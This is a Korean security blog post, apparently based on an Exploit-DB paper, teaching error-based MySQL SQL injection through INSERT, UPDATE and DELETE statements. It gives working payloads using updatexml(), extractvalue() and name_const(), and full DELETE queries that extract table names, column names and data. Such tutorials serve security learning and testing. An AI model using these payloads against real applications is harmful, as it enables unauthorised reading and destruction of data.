반응형

보통 기본적으로 SQL Injection이라고 하면 검색, 조회 하는 곳에서 진행을 하게 된다.

이러한 것들은 모두 SELECT 구문에서 진행이 되는 것이다.


하지만, 웹 어플리케이션에는 회원 관리, 게시글 관리 등에서 INSERT, UPDATE, DELETE 구문이 적지 않게 사용된다.

이러한 경우에도 사용자로부터 문자열을 입력받기 때문에 여기서 또한 SQLi가 발생될 수 있다.


이번에 참고한 자료에서 말하는 기법들은 응답에 MySQL의 에러가 노출된다는 가정하에 진행되었다.

참고자료 : https://www.exploit-db.com/docs/33253


1. Updatexml()을 사용한 Injection

※ input payload

' or updatexml(1,concat(0x7e,(version())),0) or '


(1) INSERT 구문


(2) UPDATE 구문


(3) DELETE 구문


1.1 데이터 추출

 : 다음과 같이 중간에 SELECT 구문을 삽입하여 데이터베이스 내 정보를 추출할 수 있다.


- 추출 쿼리

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '';


DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='[테이블명]' limit 0,1)),0) or '';


DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat_ws(':',[column1],[column2],[column3]) FROM [테이블명] limit 0,1)),0) or '';


이후부터는 동일한 방식으로 문서가 진행되어 updatexml()와 같이 사용될 수 있는 함수의 리스트와 함께 input으로 넣을 payload를 나열하고 포스팅을 마치겠다.


2. extractvalue()을 이용한 Injection

or extractvalue(1,concat(0x7e,database())) or

 

3. name_const()을 이용한 Injection : MySQL 5.0.12부터 가능

or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or



반응형

'Hacking > Web' 카테고리의 다른 글

SQL Injection and filter bypass  (0) 2020.04.01
Non alphanumeric code in PHP  (0) 2020.03.09
[root-me] NoSQL injection - Blind  (0) 2020.03.05
[root-me] Local File Inclusion - Wrappers  (0) 2020.03.05
LDAP Injection  (0) 2020.03.04
블로그 이미지

rootable

,